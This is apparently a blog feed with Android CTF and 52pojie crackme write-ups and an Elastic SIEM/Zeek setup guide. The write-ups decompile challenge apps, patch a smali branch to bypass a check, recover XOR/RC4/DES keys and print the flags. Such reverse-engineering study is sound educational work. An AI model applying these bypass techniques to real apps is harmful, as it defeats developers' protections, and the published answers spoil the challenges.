Misaki's Blog 2023-05-09T08:45:00.551Z https://misakikata.github.io/ Misaki Hexo App CTF https://misakikata.github.io/2023/05/App-CTF/ 2023-05-09T08:45:00.000Z 2023-05-09T08:45:00.551Z [羊城杯 2021]Ez_android

反编译APP

image-20230420124310331

首先就是输入账号密码,正确后才能进入下一个函数的判断,但是这个getKeyAndRedirect需要联网获取key,才能进行下一步的加密验证。

image-20230420124350850

获取到key之后就可以进行下一步计算

image-20230420124450904

这里就是获取flag的关键代码了。

private boolean checkFlag(String arg3) {        return new String(EncodeUtils.encode(arg3.getBytes(StandardCharsets.UTF_8), false, this.key.getBytes(StandardCharsets.UTF_8))).equals("3lkHi9iZNK87qw0p6U391t92qlC5rwn5iFqyMFDl1t92qUnL6FQjqln76l-P");    }

也就是加密后需要输入的flag跟上面的字符串一致。这里的输入的账号密码很重要,因为需要后续输入密码来请求key,我们可以先过一遍流程,已知的账号为admin,加密后的密码为:c232666f1410b3f5010dc51cec341f58。而这个字符串是md5加密后再每一位减1得到,也就是需要把上面的再加1。结果就是:c33367701511b4f6020ec61ded352059。解密可以得到密码为:654321。

再把这个密码提交到平台上得到key:TGtUnkaJD0frq61uCQYw3-FxMiRvNOB/EWjgVcpKSzbs8yHZ257X9LldIeh4APom

image-20230420132711887

需要计算出来的结果为:3lkHi9iZNK87qw0p6U391t92qlC5rwn5iFqyMFDl1t92qUnL6FQjqln76l-P

这开头熟悉的乘除法和下面的计算过程,应该算法是base64的编码过程,其中key就是替换了原本的字符。

image-20230420150602353

可以从Java中把base64解码的代码抠出来本地执行,代码过长不贴出来了,运行后显示如下,需要把前缀进行替换。

image-20230420181201727

[CISCN 2022 东北]crackme_Android

找到onCreate,onClick在其中,那就直接找关键函数,flag长38位,去掉前后的位数,中间的字符为32位,且需要把每四位进行一次看似是md5的加密,最后拼接的结果为:8393931a16db5a00f464a24abe24b17a9040b57d9cb2cbfa6bdc61d12e9b51f2789e8a8ae9406c969118e75e9bc65c4327fbc7c3accdf2c54675b0ddf3e0a6099b1b81046d525495e3a14ff6eae76eddfa1740cd6bd483da0f7684b2e4ec84b371f07bf95f0113eefab12552181dd832af8d1eb220186400c494db7091e402b0

image-20230421105414513

md5算法中的传参是字符的每四位

image-20230421105704911

先把上面的字符串分割为8段解密

8393931a16db5a00f464a24abe24b17a   //4aea9040b57d9cb2cbfa6bdc61d12e9b51f2   //146e789e8a8ae9406c969118e75e9bc65c43   //9dc727fbc7c3accdf2c54675b0ddf3e0a609   //365e9b1b81046d525495e3a14ff6eae76edd   //4ec9fa1740cd6bd483da0f7684b2e4ec84b3   //31f571f07bf95f0113eefab12552181dd832   //4728af8d1eb220186400c494db7091e402b0   //4822

再把解密出来的拼接,加上flag的前缀即可。

[鹏城杯 2022]baby_re

反编译后发现是一个JNI的题,需要传入一个chararray的值

image-20230421154034979

并且这个值再亦或后需要等于[0x77, 9, 40, 44, 106, 83, 0x7E, 0x7B, 33, 87, 0x71, 0x7B, 0x70, 93, 0x7D, 0x7F, 41, 82, 44, 0x7F, 39, 3, 0x7E, 0x7D, 0x77, 87, 0x2F, 0x7D, 33, 6, 44, 0x7F, 0x70, 0, 0x7E, 0x7B, 0x73, 24]

直接拖到IDA里面,找到调用函数,这个函数只有按位异或key这一个操作,但是key不知道,v5是传入的array数组。v6是数组长度。

image-20230421154120686

点击查找,发现key是一个int类型的4位数组,第一个值0x56,函数列里有一个hide_key,这个函数是init_array内加载,就是给了一个key的原始数组,再进行异或替换。

image-20230421154458480

key原始值是:[0x56,0x57,0x58,0x59]

key异或后的值是:[0x11, 0x65, 0x49, 0x4b]

image-20230421154410345

编写脚本还原,上面的*(v5 + 4 * i)并不代表参数加值,而且指针变量,存储是地址值,int是4字节。

out = [0x77, 9, 40, 44, 106, 83, 0x7E, 0x7B, 33, 87, 0x71, 0x7B, 0x70, 93, 0x7D, 0x7F, 41, 82, 44, 0x7F, 39, 3, 0x7E, 0x7D, 0x77, 87, 0x2F, 0x7D, 33, 6, 44, 0x7F, 0x70, 0, 0x7E, 0x7B, 0x73, 24];key = [0x11, 0x65, 0x49, 0x4b]​a = ''for i in range(0, len(out)):    c = key[i % 4] ^ out[i]    a = a + chr(c)    print(a)

结果是:flag{6700280a84487e46f76f2f60ce4ae70b}

[HGAME 2022 week1]flagchecker

反编译后查看内容,是一个需要进行RC4加密,然后再进行base64编码输出的过程。

image-20230423103021841

解密代码

#coding:utf-8​from Crypto.Cipher import ARC4import base64​def rc4_decrypt(key, data):    cipher = ARC4.new(key)    return cipher.decrypt(base64.b64decode(data))​key = b'carol'data = b'mg6CITV6GEaFDTYnObFmENOAVjKcQmGncF90WhqvCFyhhsyqq1s='​decrypted_data = rc4_decrypt(key, data)print(decrypted_data)

[SWPU 2019]ThousandYearsAgo

反编译APP失败,解压缩发现dex异常,在res下发现所谓的真正的APP,一个txt文件,但是是压缩包,打开发现是APP目录格式,修改后缀打开即可。

image-20230423150327583

Java层没有发现有用的东西,jni层调用了两个函数,反编译libnative-lib.so。

jni内有JNI_Onload函数,其中做了一个函数调用的判断。检查是否能获取到环境变量,然后再去检查是否存在MainActivity,然后调用stringFromJNI。

其中还有一个StringFromJNI,这个函数就是一个提示,会返回flag是flag{WeLcome_to-SWPU}}加密的结果

直接还原方法stringFromJNI

#include <stdio.h>#include <string.h>​int main() {    size_t i;    char a1[35] = "flag{WeLcome_to-SWPU}}";    int a2 = 5;    for ( i = 0; i < strlen(a1); ++i ) {        if ( a1[i] < 0x41 || a1[i] > 0x5A ) {            if ( a1[i] >= 0x61 && a1[i] <= 0x7A )                a1[i] = (a1[i] + a2 - 97) % 26 + 97;        } else {            a1[i] = (a1[i] + a2 - 65) % 26 + 65;        }    }    printf(a1);    return 0;}

结果是:kqfl{BjQhtrj_yt-XBUZ}},再加上flag的前后缀即可。

[鹤城杯 2021]AreYouRich

反编译发现是一个计算过程,这个关于账号密码没有提示,比如账号qweasdzxcr,计算出来的密码就是qweasdzxcr_SUGCQFXZAP@001

image-20230424141047967

在UserActivity内,有一个判断余额是否大于499999999的计算,大于则购买成功返回flag,还原后是flag{~1fHrTY8Y@_61$H*rPf6n3y!!},但是这个flag并不正确,说明token不对。

public static void main(String[] args) throws Exception {        byte[] arr_b = {0x40, 0x30, 0x30, 49};        byte[] arr_b1 = "qweasdzxcr".getBytes();        for(int v = 0; v < arr_b1.length; ++v) {            arr_b1[v] = (byte)(arr_b1[v] ^ 34);        }​        String p = new String(arr_b1) + new String(arr_b);        String ss = "qweasdzxcr" + "_" + p + "_" + System.currentTimeMillis();         System.out.println(ss);​        String s;        byte[] arr_b0 = {102, 108, 97, 103, 0x7B};        byte[] arr_b11 = {0x7D};        byte[] arr_b22 = new byte[]{15, 70, 3, 41, 1, 0x30, 35, 0x40, 58, 50, 0, 101, 100, 99, 11, 0x7B, 52, 8, 60, 0x77, 62, 0x73, 73, 17, 16};        byte[] arr_b3 = ss.getBytes();        if(25 > arr_b3.length) {            s = "";        }        else {            for(int v = 0; v < 25; ++v) {                arr_b22[v] = (byte)(arr_b22[v] ^ arr_b3[v]);            }​            s = new String(arr_b0) + new String(arr_b22) + new String(arr_b11);        }​        System.out.println(s);}

然后再去查看另一个计算余额的过程,发现其中有涉及到token,就是账号密码的组合值,这个token至少是一个固定值,才可以正确计算出flag,先逆推出token。

public static void main(String[] args) throws Exception {​        int[] arr_v = new int[1];        byte[] arr_bq = new byte[]{81, -13, 84, -110, 72, 77, (byte)0xA0, 77, 0x20, (byte)0x8D, -75, -38, -97, 69, (byte)0xC0, 49, 8, -27, 56, 0x72, -68, -82, 76, -106, -34};        byte[] arr_b2 = "5FQ5AaBGbqLGfYwjaRAuWGdDvyjbX5nH".getBytes();        byte[] arr_b3 = new byte[0x100];        for(int v = 0; v < 0x100; ++v) {            arr_b3[v] = (byte)v;        }​        if(arr_b2.length == 0) {            arr_b3 = null;        }        else {            int v2 = 0;            int v3 = 0;            for(int v1 = 0; v1 < 0x100; ++v1) {                v3 = (arr_b2[v2] & 0xFF) + (arr_b3[v1] & 0xFF) + v3 & 0xFF;                byte b = arr_b3[v1];                arr_b3[v1] = arr_b3[v3];                arr_b3[v3] = b;                v2 = (v2 + 1) % arr_b2.length;            }        }        String string;​        int v4 = Math.min(25, arr_bq.length);        int v5 = 16;        int v7 = 0;        int v8 = 0;        char[] chrCharArray = new char[25];        for(int v6 = 0; v6 < v4; ++v6) {            v7 = v7 + 1 & 0xFF;            v8 = (arr_b3[v7] & 0xFF) + v8 & 0xFF;            byte b1 = arr_b3[v7];            arr_b3[v7] = arr_b3[v8];            arr_b3[v8] = b1;​            chrCharArray[v6] = (char) (arr_b3[(arr_b3[v7] & 0xFF) + (arr_b3[v8] & 0xFF) & 0xFF] ^ arr_bq[v6]);        }​        System.out.println(chrCharArray);​    }

得到的token为:vvvvipuser_TTTTKRWQGP@001,账号密码就出来了,再把这个token放进去计算flag。

public static void main(String[] args) throws Exception {​        String s;        byte[] arr_b0 = {102, 108, 97, 103, 0x7B};        byte[] arr_b11 = {0x7D};        byte[] arr_b22 = new byte[]{15, 70, 3, 41, 1, 0x30, 35, 0x40, 58, 50, 0, 101, 100, 99, 11, 0x7B, 52, 8, 60, 0x77, 62, 0x73, 73, 17, 16};        byte[] arr_b3 = "vvvvipuser_TTTTKRWQGP@001".getBytes();        if(25 > arr_b3.length) {            s = "";        }        else {            for(int v = 0; v < 25; ++v) {                arr_b22[v] = (byte)(arr_b22[v] ^ arr_b3[v]);            }​            s = new String(arr_b0) + new String(arr_b22) + new String(arr_b11);        }​        System.out.println(s);    }

得到flag:flag{y0u_h@V3_@_107_0f_m0n3y!!}

[鹤城杯 2021]designEachStep

这个APP流程有点麻烦,但不难,就是需要把输入的字符串分为三部分,每8个字符跟特定的数据比对,相同则下一步,也就是可以跟据特定的数据来获取那8个字符串,首先是data.bin文件前8个字节,然后是des解密后再用Inflater压缩获取前8位跟输入字符串的中间8位一致,des再解密后LZ4解压缩获取最后字符串的8位。反编译代码太长这里不贴,直接写计算代码:

下面的data是我手动解压后,不然还需要再进行一次解压缩。

public static void getEncodeStr() throws IOException, NoSuchPaddingException, NoSuchAlgorithmException, IllegalBlockSizeException, BadPaddingException, InvalidKeyException {        byte[] des_decry;        byte[] arr_b14;        byte[] arr_b10 = new byte[0];        byte[] arr_b3 = null;        try (FileInputStream fis = new FileInputStream("E:\\Java_File\\File\\src\\data")) {            byte[] header = new byte[8];            int bytesRead = fis.read(header, 0, 8);            byte[] data = new byte[fis.available()];            bytesRead = fis.read(data);​            Cipher cipher0 = Cipher.getInstance("DES");            cipher0.init(2, j(header));            des_decry = cipher0.doFinal(data);​            Inflater inflater = new Inflater();            inflater.setInput(des_decry);            ByteArrayOutputStream byteArrayOutputStream1 = new ByteArrayOutputStream(des_decry.length);            try {                byte[] des_decry2 = new byte[0x400];                while (!inflater.finished()) {                    byteArrayOutputStream1.write(des_decry2, 0, inflater.inflate(des_decry2));                }                byteArrayOutputStream1.close();            } catch (Exception exception0) {                System.out.println("error");            }​            byte[] output = new byte[des_decry.length];            int resultLength = inflater.inflate(output);            inflater.end();            byte[] result = byteArrayOutputStream1.toByteArray();            byte[] arr_b12 = new byte[0];            if (result.length >= 8) {                arr_b12 = new byte[8];                System.arraycopy(result, 0, arr_b12, 0, 8);                byte[] arr_b13 = new byte[result.length - 8];                System.arraycopy(result, 8, arr_b13, 0, result.length - 8);                Cipher cipher1 = Cipher.getInstance("DES");                cipher1.init(2, j(arr_b12));                arr_b14 = cipher1.doFinal(arr_b13);                arr_b10 = arr_b14;            }​            LZ4SafeDecompressor lZ4SafeDecompressor0 = LZ4Factory.safeInstance().safeDecompressor();            byte[] arr_b15 = new byte[arr_b10.length * 5];            int v1 = lZ4SafeDecompressor0.decompress(arr_b10, 0, arr_b10.length, arr_b15, 0);            byte[] arr_b16 = new byte[v1];            System.arraycopy(arr_b15, 0, arr_b16, 0, v1);            byte[] arr_b17 = new byte[0];            if (v1 >= 8) {                arr_b17 = new byte[8];                System.arraycopy(arr_b16, 0, arr_b17, 0, 8);                int v2 = v1 - 8;                byte[] arr_b18 = new byte[v2];                System.arraycopy(arr_b16, 8, arr_b18, 0, v2);                Cipher cipher2 = Cipher.getInstance("DES");                cipher2.init(2, j(arr_b17));                arr_b3 = cipher2.doFinal(arr_b18);            }            byte[] m = mergeBytes(header, arr_b12, arr_b17);​            System.out.println(new String(m));        } catch (DataFormatException e) {            throw new RuntimeException(e);        }    }        public static byte[] mergeBytes(byte[]... bytes) {        int length = 0;        for (byte[] b : bytes) {            length += b.length;        }        byte[] result = new byte[length];        int destPos = 0;        for (byte[] b : bytes) {            System.arraycopy(b, 0, result, destPos, b.length);            destPos += b.length;        }        return result;    }        public static Key j(byte[] arr_b) {        byte[] arr_b1 = new byte[8];        for(int v = 0; v < arr_b.length && v < 8; ++v) {            arr_b1[v] = arr_b[v];        }​        return new SecretKeySpec(arr_b1, "DES");    }

得到flag的值:DE5_c0mpr355_m@y_c0nfu53

[GFCTF 2021]easy_low

反编译得到一个类似账号密码判断的流程,但是需要逆推出

image-20230427175818488

输入的账号也就是字符串s进行encode操作

image-20230427175901885

字符串计算前后相等,这样可以爆破出账号s,得到结果为:LOHILMNMLKHILKHI

public static int encode(byte[] arr_b) {        byte[] arr_b2 = new byte[16];        byte[] ast = "qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM".getBytes();​        for(int v1 = 0; v1 < 16; ++v1) {            for(int x = 0; x < ast.length; ++x) {                arr_b2[v1] = (byte)((ast[x] + arr_b[v1]) % 61);​                arr_b2[v1] = (byte)(arr_b2[v1] * 2 - v1);                if (arr_b2[v1] == ast[x]) {                    System.out.println((char) arr_b2[v1]);                }            }   //LOHILMNMLKHILKHI        }        return 0;    }

然后再去计算密码,可得到结果:nmjknoloni_@0011

public static void main(String[] args) throws Exception {​        byte[] arr_b = {0x40, 0x30, 0x30, 49, 49};        byte[] arr_b1 = encode("LOHILMNMLKHILKHI", new byte[]{23, 22, 26, 26, 25, 25, 25, 26, 27, 28, 30, 30, 29, 30, 0x20, 0x20});        for(int v = 0; v < arr_b1.length; ++v) {            arr_b1[v] = (byte)(arr_b1[v] ^ 34);        }​        char[] arr_c = new String(arr_b1).toCharArray();        String s2 = "";        for(int v1 = 0; v1 < 10; ++v1) {            s2 = s2 + arr_c[v1];        }        System.out.println(s2 + "_" + new String(arr_b));  //nmjknoloni_@0011​    }

然后找到b类,这个类应该才是最后的验证,其中有个f0.oho,这个是JNI层函数调用,这里的O().v跟上面的计算过程一样,都是encode的过程。所以输入的参数为:密码,用户名,拼接字段。

image-20230427183126137

这里直接贴最后的WP,不要问,问就是没还原出来。。。

#include <bits/stdc++.h>using namespace std;int main() {  char key1[]={"nNjLnHlL"};  int count=1;  int key[7];//nNjLnHlL  for (int i = 0; i < 6; ++i) {    key[i] = key1[count];    count++;  }  unsigned int ks[6]={0x5d950ef2,0x86cca2de,0xc039bbf4,0xc5948102,0xaed55e9c,0x89f14377};  unsigned int k=0,bk=0;  unsigned int p[4];  for(int i=5;i>=0;i--)    if(i>0) ks[i]^=ks[i-1];  for(int i=0;i<24;i+=4){    k=ks[i/4];    k=(1<<key[i/4])^k;    k=((k>>16)) | ((~(k<<16))&0xffff0000);     k=((k<<key[i/4])) | (k>>(32-key[i/4]));    for(int j=0; j<4; j++) printf("%c", *((char*)&k+3-j));  }  return 0;}

结果就是:WelCOme_To_mAkaBakA!BrO!

]]>
<h3 id="羊城杯-2021-Ez-android"><a href="#羊城杯-2021-Ez-android" class="headerlink" title="[羊城杯 2021]Ez_android"></a>[羊城杯 2021]Ez_android</h3><p>
Android Crack 2023-52PJ https://misakikata.github.io/2023/02/Android-Crack-2023-52PJ/ 2023-02-06T04:31:53.000Z 2023-02-06T05:09:56.119Z Android Crack 2023

【2023春节】解题领红包之三

APK:https://down.52pojie.cn/nUvaFj.7z|zYchSGxanOOx

用jadx反编译出来,其中关键是onCreate中的decrypt

public static final void m19onCreate$lambda0(MainActivity mainActivity, TextView textView, View view) {        Intrinsics.checkNotNullParameter(mainActivity, "this$0");        Intrinsics.checkNotNullParameter(textView, "$key");        MainActivity mainActivity2 = mainActivity;        mainActivity.jntm(mainActivity2);        textView.setText(String.valueOf(mainActivity.num));        if (mainActivity.check() == 999) {            Toast.makeText(mainActivity2, "快去论坛领CB吧!", 1).show();            textView.setText(mainActivity.decrypt("hnci}|jwfclkczkppkcpmwckng•", 2));        }    }​

上面有两个部分,其中一是check结果为999,另一个就是解密那个字符串,check这个不需要传入参数,上面设定了get/set,这里直接修改判断即可。

public final int check() {        int i = this.num + 1;        this.num = i;        return i;    }

修改if-neif-eq

00000036  invoke-virtual      MainActivity->check()I, p00000003C  move-result         v00000003E  const/16            v1, 99900000042  if-ne               v0, v1,

第二部分decrypt,这里

public final String decrypt(String str, int i) {        Intrinsics.checkNotNullParameter(str, "encryptTxt");        char[] charArray = str.toCharArray();        Intrinsics.checkNotNullExpressionValue(charArray, "this as java.lang.String).toCharArray()");        StringBuilder sb = new StringBuilder();        for (char c : charArray) {            sb.append((char) (c - i));        }        String sb2 = sb.toString();        Intrinsics.checkNotNullExpressionValue(sb2, "with(StringBuilder()) {\n…     toString()\n        }");        return sb2;    }

写个python脚本复原

#coding:utf-8​​list_s = []def decrypt(str1, int2):    for i in str1:        list_s.append(chr(ord(i) - int2))    return list_s​print("".join(decrypt("hnci}|jwfclkczkppkcpmwckng•", 2)))

当然,如果习惯用jeb打开的话就会发现,这个decrypt已经给我们复原好了。

image-20230131175642195

【2023春节】解题领红包之四

APK:https://down.52pojie.cn/JfCdrX.7z | 5dPxREzsOa89

这个题需要知道自己的UID,反编译后可以看到主要的判断逻辑在onCreate

public static final void m19onCreate$lambda0(MainActivity mainActivity, View view) {        Intrinsics.checkNotNullParameter(mainActivity, "this$0");        A a = A.INSTANCE;        EditText editText = mainActivity.edit_uid;        EditText editText2 = null;        if (editText == null) {            Intrinsics.throwUninitializedPropertyAccessException("edit_uid");            editText = null;        }        String obj = StringsKt.trim((CharSequence) editText.getText().toString()).toString();        EditText editText3 = mainActivity.edit_flag;        if (editText3 == null) {            Intrinsics.throwUninitializedPropertyAccessException("edit_flag");        } else {            editText2 = editText3;        }        if (a.B(obj, StringsKt.trim((CharSequence) editText2.getText().toString()).toString())) {            Toast.makeText(mainActivity, "恭喜你,flag正确!", 1).show();        } else {            Toast.makeText(mainActivity, "flag错误哦,再想想!", 1).show();        }    }​

这里,我们可以得到两个信息,第一个参数是UID,第二个参数是flag,参数传入A类下的B函数中。

public final boolean B(String str, String str2) {        Intrinsics.checkNotNullParameter(str, "str");        Intrinsics.checkNotNullParameter(str2, "str2");        if ((str.length() == 0 && str2.length() == 0) || !StringsKt.startsWith$default(str2, "flag{", false, 2, (Object) null) || !StringsKt.endsWith$default(str2, "}", false, 2, (Object) null)) {            return false;        }        String substring = str2.substring(5, str2.length() - 1);        Intrinsics.checkNotNullExpressionValue(substring, "this as java.lang.String…ing(startIndex, endIndex)");        C c = C.INSTANCE;        MD5Utils mD5Utils = MD5Utils.INSTANCE;        Base64Utils base64Utils = Base64Utils.INSTANCE;        String encode = B.encode(str + "Wuaipojie2023");        Intrinsics.checkNotNullExpressionValue(encode, "encode(str3)");        byte[] bytes = encode.getBytes(Charsets.UTF_8);        Intrinsics.checkNotNullExpressionValue(bytes, "this as java.lang.String).getBytes(charset)");        return Intrinsics.areEqual(substring, c.cipher(mD5Utils.MD5(base64Utils.encodeToString(bytes)), 5));    }

上面的函数先对flag进行截取,去掉flag{},只留中间的字符串。然后使用B类下的encode进行处理UID,处理后再进行md5操作,然后跟输入进行比较,相同则代表输入正确,也就是我们需要获取的值。

public static String encode(String str) {        int length = str.length();        char[] cArr = new char[length];        int i = length - 1;        while (i >= 0) {            int i2 = i - 1;            cArr[i] = (char) (str.charAt(i) ^ '5');            if (i2 < 0) {                break;            }            i = i2 - 1;            cArr[i2] = (char) (str.charAt(i2) ^ '2');        }        return new String(cArr);    }

这个算法稍微比上面的麻烦一点,本来打算用添加log或者frida来做,发现手机的终端都不能安装,干脆直接把算法实现一遍,需要修改下面的UID为自己的UID。Base64Utils和MD5Utils也可以自己使用编码加密来替代算法。

import org.apache.commons.io.Charsets;​public class checkme {    public static String encode(String arg4) {        int v0 = arg4.length();        char[] v1 = new char[v0];        int v0_1 = v0 - 1;        while(v0_1 >= 0) {            int v2 = v0_1 - 1;            v1[v0_1] = (char)(arg4.charAt(v0_1) ^ 53);            if(v2 < 0) {                break;            }​            v0_1 = v2 - 1;            v1[v2] = (char)(arg4.charAt(v2) ^ 50);        }​        return new String(v1);    }​    public static void main(String[] args) {        String v6 = encode(UID+"Wuaipojie2023");        byte[] v6_1 = v6.getBytes(Charsets.UTF_8);        String v6_2 = Base64Utils.INSTANCE.encodeToString(v6_1);        String v6_3 = MD5Utils.INSTANCE.MD5(v6_2);        System.out.println(C.INSTANCE.cipher(v6_3, 5));    }​}

最后算出来的值就是,再加上前后的flag{}。

flag{i4jkj66h8j7i4j7hi6ihf4h02hi062i4}

【2023春节】解题领红包之六

APK:https://down.52pojie.cn/cuKcNU.7z | my4OyfjP5HG2

反编译APK,发现是一个native层的解题,继续看下面的流程,需要把音量调到100-101之间,应该是需要让这个v2不等于0,既可把flag写入到本地的图片上

private final void Check_Volume(double arg6) {        TextView v0 = this.automedia;        if(v0 == null) {            Intrinsics.throwUninitializedPropertyAccessException("automedia");            v0 = null;        }​        v0.setText(((CharSequence)("当前分贝:" + arg6)));        int v2 = 0;        if(Double.compare(84.0, arg6) <= 0 && arg6 <= 99.0) {            this.xigou(((Context)this));            return;        }​        if(100.0 <= arg6 && arg6 <= 101.0) {            v2 = 1;        }​        if(v2 != 0) {            Toast.makeText(((Context)this), "快去找flag吧", 1).show();            this.write_img();        }    }

其中的write_img函数为

private final void write_img() {        Closeable v2;        InputStream v1_1;        InputStream v0 = this.getAssets().open("aes.png");        Intrinsics.checkNotNullExpressionValue(v0, "assets.open(\"aes.png\")");        File v3 = new File(this.getPrivateDirectory(), "aes.png");        Closeable v0_1 = (Closeable)v0;        try {            v1_1 = (InputStream)v0_1;            v2 = (Closeable)new FileOutputStream(v3);        }        catch(Throwable v1) {            throw v1;        }​        try {            ByteStreamsKt.copyTo$default(v1_1, ((OutputStream)(((FileOutputStream)v2))), 0, 2, null);            goto label_27;        }        catch(Throwable v1_2) {        }​        try {            throw v1_2;        }        catch(Throwable v3_1) {        }​        try {            CloseableKt.closeFinally(v2, v1_2);            throw v3_1;        label_27:            CloseableKt.closeFinally(v2, null);            goto label_34;        }        catch(Throwable v1) {        }​        try {            throw v1;        }        catch(Throwable v2_1) {        }​        CloseableKt.closeFinally(v0_1, v1);        throw v2_1;    label_34:        CloseableKt.closeFinally(v0_1, null);    }

其中在assert下面的aes图片是一个加密的字段,看起来不是写入里面,而是这个图片是显示了加密的flag,这里需要解密出来这个flag图片,大概?

反编译其中的lib52pj.so,发现其中存在JNI_Onload函数,里面貌似是调试自身的反调试和环境检测。

{  jint v3; // r4  int v4; // r0  int v6; // [sp+0h] [bp-18h] BYREF​  ptrace(PTRACE_TRACEME, 0, 0, 0);  v6 = 0;  v3 = 65542;  if ( (*vm)->GetEnv(vm, &v6, 65542) )    return -1;  v4 = (*(*v6 + 24))(v6, "com/zj/wuaipojie2023_2/MainActivity");  if ( !v4 )    return -1;  if ( (*(*v6 + 860))(v6, v4, methods, 1) < 0 )    v3 = -1;  return v3;}

这个APP的作用就是符合上面的条件后提供这个图片出来,除此之外都没有调用过native函数。

so的反编译这个用x86架构的,看起来清楚一些。其中_mm_add_epi8代表SSE指令的8位加法,意思是r0=a0+b0,r1=a1+b1_mm_loadu_si128代表加载128位的值,s1就是v3和xmmword_2A60相加。而xmmword_2A60的值查看Data是0xFBFEFBFEFBFEFBFEFBFEFBFEFBFEFBFE,strcmp是比较,这里无实际意义。

bool __cdecl get_RealKey(_JNIEnv *a1, int a2, int a3){  const __m128i *v3; // esi  __m128i s1; // [esp+0h] [ebp-2Ch] BYREF  char v6; // [esp+10h] [ebp-1Ch]  unsigned int v7; // [esp+20h] [ebp-Ch]​  v7 = __readgsdword(0x14u);  v3 = a1->functions->GetStringUTFChars(a1, a3, 0);  if ( strlen(v3->m128i_i8) != 16 )    return 0;  v6 = 0;  s1 = _mm_add_epi8(_mm_loadu_si128(v3), xmmword_2A60);  return strcmp(s1.m128i_i8, "thisiskey") != 0;}

编写一个C脚本来还原key

#include <stdio.h>​int main() {    char key[] = "|wfkuqokj4548366";    char xmmword_2A60[] = { 0xFB, 0xFE, 0xFB, 0xFE, 0xFB, 0xFE, 0xFB, 0xFE, 0xFB, 0xFE, 0xFB, 0xFE, 0xFB, 0xFE, 0xFB, 0xFE};    int a = 0;    char newkey[32];    for (int i = 0; i < sizeof(key) - 1; i ++)        if (a % 2 == 0) {            newkey[i] = key[i] + xmmword_2A60[i];        } else {            newkey[i] = key[i] + xmmword_2A60[i + 1];        }    printf("%s", newkey);}

运行的结果是wuaipojie2023114,尝试解密png图片,解密出来是这样的一段值

89504E470D0A1A0A0000000D49484452000002E2000002E204030000006ECDAE0C0000000467414D410000B18F0BFC6105000000017352474200AECE1CE900000030504C5445FEFEFEF6CF75F0BF5FF9DF89ECA34FF3F4EC272B24E26265E0DED98B867C52514EC29F6A6D380EB55633A8A7A6D0C7BCAE84814D000020004944415478DAEC5DBF6FDB481666F30057B77FD6B5AF1980D7C49D00BB484A42100CB81980BB07585DB4B48F4E75C6D9383BA51018D9FD032E5713。。。。。。。

利用脚本进行十六进制转图片操作

import binasciipayload = "89504E470D0A1A0A0000000D49484452000002E2000002E204030000006ECDAE0C0000000467414D410000B18F0BFC6105000000017352474200AECE1CE900000030504C5445FEFEFEF6CF75F0BF5FF9DF89ECA34FF3F4EC272B24。。。。。。"f=open("1.png","ab")pic = binascii.a2b_hex(payload.encode())f.write(pic)f.close()

得到一个干杯的表情包。。。。用010editor打开查看一下。

可以看到开头是PNG的图片标志头,搜索一下看看是不是里面还带了什么zip或者图片。在1953行那还有一个PNG头,提取后面的图片。是一个1kb大小的二维码,扫码可得

flag{Happy_New_Year_Wuaipojie2023}

【2023春节】解题领红包之七

不要问,问就是不会,现在已经有大佬做出来了。可以看看大佬们的WP:https://www.52pojie.cn/thread-1742121-1-1.html

]]>
<h2 id="Android-Crack-2023"><a href="#Android-Crack-2023" class="headerlink" title="Android Crack 2023"></a>Android Crack 2023</h2><h3 id="【
Elastic SIEM https://misakikata.github.io/2023/01/Elastic-SIEM/ 2023-01-13T02:34:21.000Z 2023-01-13T02:34:21.335Z 安装SIEM

安全性资讯与事件 (SIEM) 是一种解决方案,可协助组织在威胁伤害企业运行之前,先进行侦测、分析和回应安全性威胁。以下使用centos7安装Elastic SIEM。

使用Ubuntu安装:https://blog.csdn.net/UbuntuTouch/article/details/114023944

https://elasticstack.blog.csdn.net/article/details/112647180

安装Elasticsearch

创建RPM配置/etc/yum.repos.d/elasticsearch.repo

[elasticsearch]name=Elasticsearch repository for 7.x packagesbaseurl=https://artifacts.elastic.co/packages/7.x/yumgpgcheck=1gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearchenabled=0autorefresh=1type=rpm-md

安装

yum install --enablerepo=elasticsearch elasticsearch

或者下载rpm文件

wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-7.16.3-x86_64.rpmsudo rpm --install elasticsearch-7.16.3-x86_64.rpm

修改/etc/elasticsearch/elasticsearch.yml

cluster.name: demo-elknode.name: elk-1network.host: 0.0.0.0discovery.type: single-node

启动es

service elasticsearch start

安装kibana

同样创建配置/etc/yum.repos.d/kibana.repo

[kibana-7.x]name=Kibana repository for 7.x packagesbaseurl=https://artifacts.elastic.co/packages/7.x/yumgpgcheck=1gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearchenabled=1autorefresh=1type=rpm-md

安装

yum install kibana

或者下载rpm文件

wget https://artifacts.elastic.co/downloads/kibana/kibana-7.16.3-x86_64.rpmsudo rpm --install kibana-7.16.3-x86_64.rpm

编辑配置文件/etc/kibana/kibana.yml

server_port: 5601server_host: 0.0.0.0server_name: demo-kibana

启动

service kibana start

安装Filebeat

yum install filebeat

安装 Zeek

一些需要的组件

yum install cmake gcc-c++ gcc make flex bison swig python3 python3-devel

下载

git clone --recursive https://github.com/zeek/zeek

配置环境

./configure --prefix=/opt/zeek

如果显示cmake版本不对,则去下载cmake

wget https://cmake.org/files/v3.18/cmake-3.18.6-Linux-x86_64.tar.gz -O /opt/yum remove cmake# 编辑环境变量写入export CMAKE_HOME=/opt/cmakeexport PATH=$PATH:$CMAKE_HOME/binsource /etc/profilecmake -version

再此执行上面的命令如果报错No CMAKE_CXX_COMPILER could be found,安装gcc-c++

yum install gcc-c++

如果报错 Could NOT find ZLIB,安装zlib

wget http://www.zlib.net/zlib-1.2.11.tar.gztar -xvzf zlib-1.2.11./configuremake && make install

如果报错 Could not find prerequisite package 'PCAP',安装libpcap

wget https://www.tcpdump.org/release/libpcap-1.10.1.tar.gztar -zxvf libpcap-1.10.1.tar.gzcd libpcap-1.10.1./configuremake -j8make install

如果报错Could not find prerequisite package 'OpenSSL',安装libssl

yum install openssl-devel

如果提示GCC版本过低,scl源安装多版本gcc

yum install centos-release-sclyum install devtoolset-7-gcc*scl enable devtoolset-7 bash

安装基本就可以成功,但是时间有点长,添加环境变量

export PATH=/opt/zeek/bin:$PATH

在 /opt/zeek/etc 找到一个叫做 node.cfg 的配置文件。修改网卡名

interface=ens33

安装sendmail

yum install sendmail

部署zeek

zeekctl deploy

在 /opt/zeek/logs 目录里发现日志。“current” 目录保存当天的日志,而前几天的日志则存档到其自己的目录中。

配置安全访问

